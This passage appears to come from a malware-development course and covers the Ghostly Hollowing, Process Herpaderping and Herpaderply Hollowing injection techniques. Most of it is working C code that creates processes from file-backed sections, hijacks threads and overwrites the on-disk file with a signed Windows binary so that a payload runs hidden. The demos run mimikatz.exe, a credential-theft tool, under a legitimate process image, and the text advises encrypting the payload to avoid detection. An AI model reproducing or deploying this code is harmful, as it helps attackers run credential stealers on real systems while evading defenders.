if (!CreateProcessW(NULL, szLegitPeImg, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo)) {
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}

printf("[i] Ghost Process Created With ID: %d \n", ProcessInfo.dwProcessId);

// ----------------------------------------

if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hGhostSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] Base Address Of The Mapped Ghost Section: 0x%p \n", pBaseAddress);

// ----------------------------------------

if (!(dwEntryPntRVA = FetchEntryPntOffset(pPayloadPeBuffer)))
goto _FUNC_CLEANUP;

if (!HijackRemoteProcessExecution(ProcessInfo.hProcess, ProcessInfo.hThread, pBaseAddress, dwEntryPntRVA)) {


goto _FUNC_CLEANUP;
}

if (!NT_SUCCESS((STATUS = g_NtApi.pNtResumeThread(ProcessInfo.hThread, NULL)))) {


PRNT_NT_ERR(TEXT("NtResumeThread"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[*] Thread [ %d ] Is Hijacked To Run The Payload! \n", GetThreadId(ProcessInfo.hThread));

// ----------------------------------------

bResult = TRUE;

_FUNC_CLEANUP:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
DELETE_HANDLE(ProcessInfo.hProcess);
DELETE_HANDLE(ProcessInfo.hThread);
DELETE_HANDLE(hGhostSection);
return bResult;
}

Demo
The images below showcase the execution of mimikatz.exe in the address space of a RuntimeBroker.exe process.

As the image below shows, the RuntimeBroker.exe process is created with a process identifier PID equal to 2376 .

A ghost section is mapped to the address 0x00007FF6DD80000 . Notice how it's mapped alongside the process's image, RuntimeBroker.exe , at 0x00007FF6B720000 , and not replacing it
as was done in Process Ghosting.
Module 41 Herpaderping Process Injection

Herpaderping Process Injection

Introduction
Process Herpaderping is another PE injection method that can be used to inject a PE payload into a remote process. Similar to Process Ghosting, Process Herpaderping overwrites an
existing file on disk with the payload, then utilizes the NtCreateSection and NtCreateProcessEx syscalls to create the remote process out of the overwritten file's opened handle. In
Process Herpaderping, the target process's executable image represents a legit Windows executable image as shown in the following image.

It is advised that the reader has read and understood the Ghost Process Injection and Ghostly Hollowing modules before advancing on.

Process Herpaderping Implementation Steps


The steps to perform Process Herpaderping are shown below. Each step will then be discussed in depth throughout this module.

1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload at a later step.
3. Overwrite the temporary file with the PE payload.
4. Create a section handle of the temporary file in the current state, using the NtCreateSection syscall.
5. Create a process from the previously created section, using the NtCreateProcessEx syscall.
6. Overwrite the temporary file's content with a legitimate Windows PE.
7. Write the process parameters and the environment block manually to the created process.
8. Fetch the PE payload's entry point and execute it through a newly created thread.

The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.

Step 1 - PE Payload Fetching


The first step will be to read the PE payload, which in this case will be the mimikatz.exe binary, from the disk using the ReadPayloadFile function shown below. ReadPayloadFile
accepts the following parameters.

szFileName The path to the mimikatz.exe binary on the disk.


ppFileBuffer A pointer to a PBYTE variable that will receive the address of the read file.
pdwFileSize A pointer to a DWORD variable that will receive the size of the read file.

#define ALLOC(SIZE) LocalAlloc(LPTR, (SIZE_T)SIZE)


#define FREE(BUFF) LocalFree((LPVOID)BUFF)
#define REALLOC(BUFF, SIZE) LocalReAlloc(BUFF, SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT)

BOOL ReadPayloadFile(IN LPWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize) {

HANDLE hFile = INVALID_HANDLE_VALUE;


PBYTE pTmpReadBuffer = NULL;
DWORD dwFileSize = NULL,
dwNumberOfBytesRead = NULL;

if (!szFileName || !pdwFileSize || !ppFileBuffer)


return FALSE;

if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {


PRNT_WN_ERR(TEXT("CreateFileW"));
return FALSE;
}

if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {


PRNT_WN_ERR(TEXT("GetFileSize"));
goto _FUNC_CLEANUP;
}

if (!(pTmpReadBuffer = ALLOC(dwFileSize))) {
PRNT_WN_ERR(TEXT("LocalAlloc"));
goto _FUNC_CLEANUP;
}

if (!ReadFile(hFile, pTmpReadBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {


PRNT_WN_ERR(TEXT("ReadFile"));
goto _FUNC_CLEANUP;
}

*ppFileBuffer = pTmpReadBuffer;
*pdwFileSize = dwFileSize;

_FUNC_CLEANUP:
DELETE_HANDLE(hFile);
if (pTmpReadBuffer && !*ppFileBuffer)
FREE(pTmpReadBuffer);
return *ppFileBuffer == NULL ? FALSE : TRUE;
}

Step 2 - Creating A Temporary File


Creating the temporary file will be done via the following WinAPIs:

GetTempPathW Retrieves the path of the temporary directory.


GetTempFileNameW Creates an empty temporary file.

The snippet below generates a temporary file using the aforementioned WinAPIs and then uses swprintf_s to append the temporary file's path with the arguments that will be passed
to the PE Payload. For this example, we're simply going to execute Mimikatz's "coffee" command.

#define PE_FILE_COMMAND_ARG L"coffee"

WCHAR szTmpPath[MAX_PATH] = { 0x00 };


WCHAR szTmpFileName[MAX_PATH] = { 0x00 };
WCHAR szTmpFilePath[MAX_PATH * 2] = { 0x00 };

// Get Temp Dir Path


if (GetTempPathW(MAX_PATH, szTmpPath) == 0x00) {
PRNT_WN_ERR(TEXT("GetTempPathW"));
return -1;
}

// Create A Temp File (Named szTmpFileName)


if (GetTempFileNameW(szTmpPath, L"PG", 0x00, szTmpFileName) == 0x00) {
PRNT_WN_ERR(TEXT("GetTempFileNameW"));
return -1;
}

swprintf_s(szTmpFilePath, MAX_PATH * 2, L"%s %s", szTmpFileName, PE_FILE_COMMAND_ARG);

Step 3 - Overwrite The Temporary File With The Payload


After the creation of the temporary file, the next step is to overwrite it with the PE payload. We've created the OverWriteTheTmpFile function to perform this action.

The OverWriteTheTmpFile function is used to overwrite a specified file. It can retrieve the source file buffer (i.e. the data that's to be written) either through a file handle or a pointer to
the source file buffer. OverWriteTheTmpFile accepts the following parameters.

hSourceFile An optional parameter that represents the handle of the source file from which the data will be fetched and then written to the specified destination file.
pSourceBuffer An optional parameter that represents the base address of the source file buffer.
dwSourceBufferSize An optional parameter that represents the size of the source file buffer.
hDestinationFile A handle to the destination file to be overwritten.
bOverWriteByHandle This is a flag parameter that determines how the source file buffer is retrieved. If this parameter is set to TRUE then the function will use the hSourceFile
parameter to fetch the source file buffer. Otherwise, the function will use the pSourceBuffer and dwSourceBufferSize parameters.

BOOL OverWriteTheTmpFile(IN OPTIONAL HANDLE hSourceFile, IN OPTIONAL PBYTE pSourceBuffer, IN OPTIONAL DWORD dwSourceBufferSize, IN HANDLE hDestinationFile, IN
BOOL bOverWriteByHandle) {

BOOL bResult = FALSE;


DWORD dwPeFileSize = dwSourceBufferSize,
dwNumberOfBytesRead = 0x00,
dwNumberOfBytesWritten = 0x00;
PBYTE pPeFileBuffer = pSourceBuffer;

if (!hDestinationFile || hDestinationFile == INVALID_HANDLE_VALUE)


return FALSE;

if ((bOverWriteByHandle && !hSourceFile) || (bOverWriteByHandle && hSourceFile == INVALID_HANDLE_VALUE))


return FALSE;

if ((!bOverWriteByHandle && !pSourceBuffer) || (!bOverWriteByHandle && !dwSourceBufferSize))


return FALSE;

if (bOverWriteByHandle) {

if ((dwPeFileSize = GetFileSize(hSourceFile, NULL)) == INVALID_FILE_SIZE) {


PRNT_WN_ERR(TEXT("GetFileSize"));
return FALSE;
}

if (!(pPeFileBuffer = LocalAlloc(LPTR, (SIZE_T)dwPeFileSize))) {


PRNT_WN_ERR(TEXT("LocalAlloc"));
return FALSE;
}

if (SetFilePointer(hSourceFile, 0x00, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {


PRNT_WN_ERR(TEXT("SetFilePointer [1]"));
return FALSE;
}

if (SetFilePointer(hDestinationFile, 0x00, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {


PRNT_WN_ERR(TEXT("SetFilePointer [2]"));
return FALSE;
}

if (!ReadFile(hSourceFile, pPeFileBuffer, dwPeFileSize, &dwNumberOfBytesRead, NULL) || dwPeFileSize != dwNumberOfBytesRead) {


PRNT_WN_ERR(TEXT("ReadFile"));
goto _END_OF_FUNC;
}
}

if (!WriteFile(hDestinationFile, pPeFileBuffer, dwPeFileSize, &dwNumberOfBytesWritten, NULL) || dwPeFileSize != dwNumberOfBytesWritten) {


PRNT_WN_ERR(TEXT("WriteFile"));
goto _END_OF_FUNC;
}

if (!FlushFileBuffers(hDestinationFile)) {
PRNT_WN_ERR(TEXT("FlushFileBuffers"));
goto _END_OF_FUNC;
}

if (!SetEndOfFile(hDestinationFile)) {
PRNT_WN_ERR(TEXT("SetEndOfFile"));
goto _END_OF_FUNC;
}

bResult = TRUE;

_END_OF_FUNC:
if (pPeFileBuffer && bOverWriteByHandle)
LocalFree(pPeFileBuffer);
return bResult;
}

The OverWriteTheTmpFile function will be called twice within our implementation: once to write the PE payload to the temporary file, and again to overwrite the temporary file with the
legitimate Windows PE image.

Step 4 - Create The Herpaderp Section


Before proceeding to open a section handle from the .tmp file, it is necessary to retrieve the addresses of the syscalls invoked throughout the implementation. This is accomplished in
the main function prior to any function calls by populating the user-defined NT_API_FP structure, as shown in the snippet below.

typedef struct _NT_API_FP


{
fnNtCreateSection pNtCreateSection;
fnNtCreateProcessEx pNtCreateProcessEx;
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnRtlCreateProcessParametersEx pRtlCreateProcessParametersEx;
fnNtQueryInformationProcess pNtQueryInformationProcess;
fnNtReadVirtualMemory pNtReadVirtualMemory;
fnNtCreateThreadEx pNtCreateThreadEx;
fnNtClose pNtClose;

} NT_API_FP, *PNT_API_FP;

NT_API_FP g_NtApi = { 0x00 };

int main() {

HMODULE hNtdll = NULL;

if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
return -1;

g_NtApi.pNtCreateProcessEx = (fnNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");


g_NtApi.pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
g_NtApi.pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
g_NtApi.pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
g_NtApi.pNtReadVirtualMemory = (fnNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");
g_NtApi.pRtlCreateProcessParametersEx = (fnRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
g_NtApi.pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
g_NtApi.pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
g_NtApi.pNtClose = (fnNtClose)GetProcAddress(hNtdll, "NtClose");

if (!g_NtApi.pNtCreateProcessEx || !g_NtApi.pNtQueryInformationProcess || !g_NtApi.pNtCreateSection ||


!g_NtApi.pNtReadVirtualMemory || !g_NtApi.pNtCreateThreadEx || !g_NtApi.pNtClose ||
!g_NtApi.pRtlCreateProcessParametersEx || !g_NtApi.pNtAllocateVirtualMemory || !g_NtApi.pNtWriteVirtualMemory
){
return -1;
}

// ...

After populating the NT_API_FP structure, one can proceed to invoke the NtCreateSection syscall to create a section from the opened handle of the temporary file. It's important to
note that NtCreateSection is called only after the OverWriteTheTmpFile function has been invoked to write the payload into the temporary file.

Step 5 - Creating The Target Process


As done in the Ghost Process Injection module, the remote process is created using the NtCreateProcessEx syscall that allows us to create a process out of a section handle. However,
the created process will be missing the user environment variables and parameters required for the process to run. This problem was solved earlier in the Ghost Process Injection
module by manually constructing and writing the RTL_USER_PROCESS_PARAMETERS structure to the remote PEB structure of the target process.

Step 6 - Overwrite The Temporary File With A Legitimate Binary


After creating the process and before creating its thread, the OverWriteTheTmpFile function is called once more to overwrite the temporary file with a legitimate Windows binary. The
size of this binary should be larger than that of the PE payload currently written to the temporary file. This step ensures the removal of any traces of the payload from the disk when
the thread is created.

Step 7 - Initialize Target Process Parameters


Similar to Step 5 of Ghost Process Injection, the PEB.ProcessParameters element of the target process should be manually written. We will reuse the InitializeProcessParms
function, previously used to initialize the RTL_USER_PROCESS_PARAMETERS structure of the target process. For a better understanding of how the InitializeProcessParms function
operates, it is recommended to review step 5 of Ghost Process Injection.

The InitializeProcessParms function accepts the following parameters:

hProcess A handle to the created ghost process. This is retrieved by calling NtCreateProcessEx .
szTargetProcess The path to a legitimate Windows executable image. This is the same as the szLegitPeFile parameter in the CreateGhostProcess function.
ppImageBase A pointer to a PVOID variable that will receive the address of the mapped PE payload image.

BOOL InitializeProcessParms(IN HANDLE hProcess, IN LPWSTR szTargetProcess, OUT PVOID* ppImageBase) {

BOOL bResult = FALSE;


NTSTATUS STATUS = STATUS_SUCCESS;
UNICODE_STRING UsCommandLine = { 0x00 },
UsNtImagePath = { 0x00 },
UsCurrentDirectory = { 0x00 };
PRTL_USER_PROCESS_PARAMETERS pUserProcParms = { 0x00 };
PVOID pEnvironment = NULL;
PWCHAR pwcDuplicateStr = NULL,
pwcDuplicateStr2 = NULL,
pwcExe = NULL,
pwcLastSlash = NULL;
PEB Peb = { 0x00 };
PROCESS_BASIC_INFORMATION ProcInfo = { 0x00 };
ULONG_PTR uUserEnvAndParmsBaseAddress = NULL,
uUserEnvAndParmsEndAddress = NULL;
SIZE_T sUserEnvAndParmsSize = NULL,
sNumberOfBytesWritten = NULL;
PVOID pTmpPntrAddress = NULL;

/*
* szTargetProcess - L"C:\\Users\\User\\AppData\\Local\\Temp\\PHXXXX.tmp coffee" (UNICODE_STRING UsCommandLine)
* pwcDuplicateStr - L"L"C:\\Users\\User\\AppData\\Local\\Temp" (UNICODE_STRING UsCurrentDirectory)
* pwcDuplicateStr2 - L"C:\\Users\\User\\AppData\\Local\\Temp\\PHXXXX.tmp" (UNICODE_STRING UsNtImagePath)
*/
if (!(pwcDuplicateStr = _wcsdup(szTargetProcess)))
goto _END_OF_FUNC;

if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))


*pwcLastSlash = L'\0';

if (!(pwcDuplicateStr2 = _wcsdup(szTargetProcess)))
goto _END_OF_FUNC;

if (pwcExe = wcsstr(pwcDuplicateStr2, L".exe"))


*(pwcExe + sizeof(".exe")) = L'\0';

// Retrieves the environment variables


if (!CreateEnvironmentBlock(&pEnvironment, NULL, TRUE)) {
PRNT_WN_ERR(TEXT("CreateEnvironmentBlock"));
goto _END_OF_FUNC;
}

RtlInitUnicodeString(&UsCommandLine, szTargetProcess);
RtlInitUnicodeString(&UsCurrentDirectory, pwcDuplicateStr);
RtlInitUnicodeString(&UsNtImagePath, pwcDuplicateStr2);

if (!NT_SUCCESS((STATUS = g_NtApi.pRtlCreateProcessParametersEx(&pUserProcParms, &UsNtImagePath, NULL, &UsCurrentDirectory, &UsCommandLine, pEnvironment,


NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)))) {
PRNT_NT_ERR(TEXT("RtlCreateProcessParametersEx"), STATUS);
goto _END_OF_FUNC;
}

// Fetch Remote PEB


if (!NT_SUCCESS((STATUS = g_NtApi.pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL)))) {
PRNT_NT_ERR(TEXT("NtQueryInformationProcess"), STATUS);
goto _END_OF_FUNC;
}

// Read PEB
if (!NT_SUCCESS((STATUS = g_NtApi.pNtReadVirtualMemory(hProcess, ProcInfo.PebBaseAddress, &Peb, sizeof(PEB), NULL)))) {
PRNT_NT_ERR(TEXT("NtReadVirtualMemory"), STATUS);
goto _END_OF_FUNC;
}

printf("[+] Herpaderp Process PEB: 0x%p \n", ProcInfo.PebBaseAddress);


printf("[+] Herpaderp Process Image: 0x%p \n", (*ppImageBase = Peb.ImageBase));

uUserEnvAndParmsBaseAddress = pUserProcParms;
uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms + pUserProcParms->Length;

if (pUserProcParms->Environment) {

// Adjust start address (Scenario 2)


if ((ULONG_PTR)pUserProcParms > (ULONG_PTR)pUserProcParms->Environment)
uUserEnvAndParmsBaseAddress = (PVOID)pUserProcParms->Environment;

// Adjust end address (Scenario 2)


if ((ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize > uUserEnvAndParmsEndAddress)
uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize;
}

// Calculate size
sUserEnvAndParmsSize = uUserEnvAndParmsEndAddress - uUserEnvAndParmsBaseAddress;

// Set a tmp var


pTmpPntrAddress = pUserProcParms;

if (!NT_SUCCESS((STATUS = g_NtApi.pNtAllocateVirtualMemory(hProcess, &pTmpPntrAddress, 0x00, &sUserEnvAndParmsSize, MEM_COMMIT | MEM_RESERVE,


PAGE_READWRITE)))) {
PRNT_NT_ERR(TEXT("NtAllocateVirtualMemory"), STATUS);
goto _END_OF_FUNC;
}

if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, pUserProcParms, pUserProcParms, pUserProcParms->Length, &sNumberOfBytesWritten)))) {


PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [1]"), STATUS);
goto _END_OF_FUNC;
}

if (pUserProcParms->Environment) {

if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, (LPVOID)(pUserProcParms->Environment), (LPVOID)pUserProcParms->Environment,


pUserProcParms->EnvironmentSize, &sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [2]"), STATUS);
printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, pUserProcParms->EnvironmentSize);
goto _END_OF_FUNC;
}
}

// Update 'Peb->ProcessParameters' address in remote process to point to the new location


if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, &ProcInfo.PebBaseAddress->ProcessParameters, &pUserProcParms, sizeof(PVOID),
&sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [3]"), STATUS);
printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, sizeof(PVOID));
goto _END_OF_FUNC;
}

bResult = TRUE;

_END_OF_FUNC:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
if (pwcDuplicateStr2)
free(pwcDuplicateStr2);
return bResult;
}

Step 8 - Executing The PE payload's Entry Point


After calling InitializeProcessParms , and retrieving the entry point's RVA. It's possible to calculate the address of the payload's entry point and follow that with a call to the
NtCreateThreadEx syscall that executes the entry point in the ghost process. Retrieving the entry point's RVA is done by calling the FetchEntryPntOffset function shown below. The
FetchEntryPntOffset function accepts one parameter, pFileBuffer , an address to the read PE payload file.

DWORD FetchEntryPntOffset(IN PBYTE pFileBuffer) {

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);


if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return 0x00;

return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}

The Complete HerpaderpProcess Function


Steps 3 to 8 are implemented in the HerpaderpProcess function which handles calling the previously explained functions OverWriteTheTmpFile and InitializeProcessParms . The
HerpaderpProcess function is shown below, where it accepts the following parameters.

szTmpFileName The path to the created temporary file.


szLegitPeImgFile A path to a legit Windows executable image. This image will not be executed but instead will be written to the temporary file before invoking the PE payload.
pPeFileBuffer The base address of the read PE payload. This parameter is retrieved by calling the ReadPayloadFile function.
dwPeFileSize The size of the read PE payload. This parameter is retrieved by calling the ReadPayloadFile function.

BOOL HerpaderpProcess(IN LPWSTR szTmpFileName, IN LPWSTR szLegitPeImgFile, IN PBYTE pPeFileBuffer, IN DWORD dwPeFileSize) {

BOOL bResult = FALSE;


HANDLE hTmpPeFile = INVALID_HANDLE_VALUE,
hLegitPeFile = INVALID_HANDLE_VALUE,
hSection = NULL;
DWORD dwEntryPointOffset = 0x00,
dwShareModFlags = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
PVOID pImageBase = NULL,
pEntryPnt = NULL;
HANDLE hProcess = NULL,
hThread = NULL;
NTSTATUS STATUS = 0x00;
PWCHAR pwcDuplicateStr = NULL,
pwcTmp = NULL;

if (!szTmpFileName || !szLegitPeImgFile || !pPeFileBuffer || !dwPeFileSize)


return FALSE;

// ----------------------------------------

if (!(dwEntryPointOffset = FetchPeEntryPointOffset(pPeFileBuffer)))
return FALSE;

// ----------------------------------------

// Remove the command-line arguments from the 'szTmpFileName' string if any


if (!(pwcDuplicateStr = _wcsdup(szTmpFileName)))
return FALSE;

if (pwcTmp = wcsstr(pwcDuplicateStr, L".tmp"))


*(pwcTmp + sizeof(".tmp")) = L'\0';

// ----------------------------------------

// Open a handle to the created .tmp file


if ((hTmpPeFile = CreateFileW(pwcDuplicateStr, GENERIC_READ | GENERIC_WRITE, dwShareModFlags, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) ==
INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW [1]"));
goto _END_OF_FUNC;
}

// Open a handle to a legit PE file to replace the .tmp one on disk


if ((hLegitPeFile = CreateFileW(szLegitPeImgFile, GENERIC_READ, dwShareModFlags, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) ==
INVALID_HANDLE_VALUE) {
PRNT_WN_ERR(TEXT("CreateFileW [2]"));
goto _END_OF_FUNC;
}

// ----------------------------------------

// Write the PE payload file (pPeFileBuffer, dwPeFileSize) to the .tmp PE file (hTmpPeFile)
if (!OverWriteTheTmpFile(NULL, pPeFileBuffer, dwPeFileSize, hTmpPeFile, FALSE))
goto _END_OF_FUNC;

printf("[+] Wrote The Payload File To The Created Temporary File \n");

// ----------------------------------------

// Create a section object backed by the .tmp PE file


if ((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hTmpPeFile)) != 0x00) {
PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
goto _END_OF_FUNC;
}

printf("[i] Created A Section Handle Of The Temporary File: 0x%0.8X \n", hSection);

// ----------------------------------------

if ((STATUS = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PROCESS_CREATE_FLAGS_INHERIT_HANDLES, hSection, NULL,


NULL, FALSE)) != 0x00) {
PRNT_NT_ERR(TEXT("NtCreateProcessEx"), STATUS);
goto _END_OF_FUNC;
}

printf("[i] Herpaderp Process Created With PID: %d \n", GetProcessId(hProcess));

DELETE_HANDLE(hSection);

// ----------------------------------------

// Overwrite the .tmp file with the legit exe image


if (!OverWriteTheTmpFile(hLegitPeFile, NULL, 0x00, hTmpPeFile, TRUE))
goto _END_OF_FUNC;

printf("[i] Overwrote The Temporary File With The Legitmate Binary \n");

DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);

// ----------------------------------------

printf("[i] Initializing Process Parms ... \n");

if (!InitializeProcessParms(hProcess, szTmpFileName, &pImageBase) || !pImageBase)


goto _END_OF_FUNC;

// ----------------------------------------

pEntryPnt = (PVOID)((ULONG_PTR)pImageBase + dwEntryPointOffset);

printf("[+] Herpaderp Process Entry Point: 0x%p \n", pEntryPnt);

if ((STATUS = g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pEntryPnt, NULL, 0x00, 0x00, 0x00, 0x00, NULL)) != 0x00) {
PRNT_NT_ERR(TEXT("pNtCreateThreadEx"), STATUS);
goto _END_OF_FUNC;
}

printf("[*] Payload PE Executed With Thread Of ID: %d \n", GetThreadId(hThread));

// ----------------------------------------

bResult = TRUE;

_END_OF_FUNC:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);
DELETE_HANDLE(hSection);
return bResult;
}

Demo
The images below demonstrate the Process Herpaderping technique in executing a PE payload ( mimikatz.exe ) within a remote process.

The Herpaderp process is created with PID 13004 at address 0x00007FF6709A0000 .

The process with PID 13004 in Process Hacker. The general tab shows the manually written command line of the process.

Our implementation uses the Windows binary aistatic.exe to overwrite the PE payload in the temporary file. Therefore, when checking the PH3028.tmp file's digital signature serial
number and comparing it to the aitstatic.exe binary, it matches the digital signature's serial number.

Although the PH3028.tmp file is aitstatic.exe on the disk, it contains the mimikatz.exe image in memory. The image below shows mimikatz.exe 's .text section on the disk versus
PH3028.tmp 's .text section in memory.
Module 42 Herpaderply Hollowing

Herpaderply Hollowing

Introduction
Herpaderply Hollowing is a hybrid technique between Herpaderping Process Injection and Process Hollowing. Furthermore, when a "Herpaderp section" is created (i.e. similar to a
Ghost section from previous modules), it will not be used to directly create a remote target process. Instead, it will emulate what was done in the Ghostly Hollowing module where the
section is mapped into a legitimate Windows process. This is then followed by patching the ImageBaseAddress element of the remote PEB structure before performing thread hijacking
to run the payload's entry point.

Herpaderply Hollowing Implementation Steps


The steps to perform Herpaderply Hollowing are shown below. Each step will then be discussed in depth throughout this module.

1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload at a later step.
3. Create a Herpaderp section of the temporary file in the current state through the use of the NtCreateSection syscall.
4. Create a remote process using the CreateProcess WinAPI and map the Herpaderp section.
5. Overwrite the temporary file with a legitimate Windows binary.
6. Patch the ImageBaseAddress element of the PEB structure to point to the mapped ghost section. And execute the PE payload's entry point via thread hijacking.

The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.

Steps 1-3
Steps 1 to 3 are implemented the same way as mentioned in the Herpaderping Process Injection module. These steps will not be re-explained again in this module, therefore the reader
should review these steps in the Herpaderping Process Injection module. For reference, these steps are:

Step 1 PE Payload Fetching: This step explained how to read the PE payload from the disk.
Step 2 Creating A Temporary File: This step explained how to create the .tmp file which will eventually be overwritten with the PE payload.
Step 3 Overwrite The Temporary File With Payload: This step explained how to overwrite the temporary file with the PE payload.

Step 4 - Creating Target Process And Mapping Herpaderp Section


As performed in the Ghostly Hollowing module, the legitimate Windows process should be created in a suspended state to perform Process Hollowing. We created a function,
CreateHerpaderplyHollowingProcess , which starts by creating a suspended process. The CreateHerpaderplyHollowingProcess makes several calls to other functions, most of which
were already discussed in earlier modules. However, of these functions, the most notable one is OverWriteTheTmpFile .

Reviewing OverWriteTheTmpFile
The OverWriteTheTmpFile function was first introduced in the Herpaderping Process Injection module, where it was used to overwrite a specified file.

The OverWriteTheTmpFile function can retrieve the source file buffer (i.e. the data that's to be written) either through a file handle or a pointer to the source file buffer.
OverWriteTheTmpFile accepts the following parameters.

hSourceFile An optional parameter that represents the handle of the source file from which the data will be fetched and then written to the specified destination file.
pSourceBuffer An optional parameter that represents the base address of the source file buffer.
dwSourceBufferSize An optional parameter that represents the size of the source file buffer.
hDestinationFile A handle to the destination file to be overwritten.
bOverWriteByHandle This is a flag parameter that determines how the source file buffer is retrieved. If this parameter is set to TRUE then the function will use the hSourceFile
parameter to fetch the source file buffer. Otherwise, the function will use the pSourceBuffer and dwSourceBufferSize parameters.

BOOL OverWriteTheTmpFile(IN OPTIONAL HANDLE hSourceFile, IN OPTIONAL PBYTE pSourceBuffer, IN OPTIONAL DWORD dwSourceBufferSize, IN HANDLE hDestinationFile, IN
BOOL bOverWriteByHandle) {

BOOL bResult = FALSE;


DWORD dwPeFileSize = dwSourceBufferSize,
dwNumberOfBytesRead = 0x00,
dwNumberOfBytesWritten = 0x00;
PBYTE pPeFileBuffer = pSourceBuffer;

if (!hDestinationFile || hDestinationFile == INVALID_HANDLE_VALUE)


return FALSE;

if ((bOverWriteByHandle && !hSourceFile) || (bOverWriteByHandle && hSourceFile == INVALID_HANDLE_VALUE))


return FALSE;

if ((!bOverWriteByHandle && !pSourceBuffer) || (!bOverWriteByHandle && !dwSourceBufferSize))


return FALSE;

if (bOverWriteByHandle) {

if ((dwPeFileSize = GetFileSize(hSourceFile, NULL)) == INVALID_FILE_SIZE) {


PRNT_WN_ERR(TEXT("GetFileSize"));
return FALSE;
}

if (!(pPeFileBuffer = LocalAlloc(LPTR, (SIZE_T)dwPeFileSize))) {


PRNT_WN_ERR(TEXT("LocalAlloc"));
return FALSE;
}

if (SetFilePointer(hSourceFile, 0x00, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {


PRNT_WN_ERR(TEXT("SetFilePointer [1]"));
return FALSE;
}

if (SetFilePointer(hDestinationFile, 0x00, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {


PRNT_WN_ERR(TEXT("SetFilePointer [2]"));
return FALSE;
}

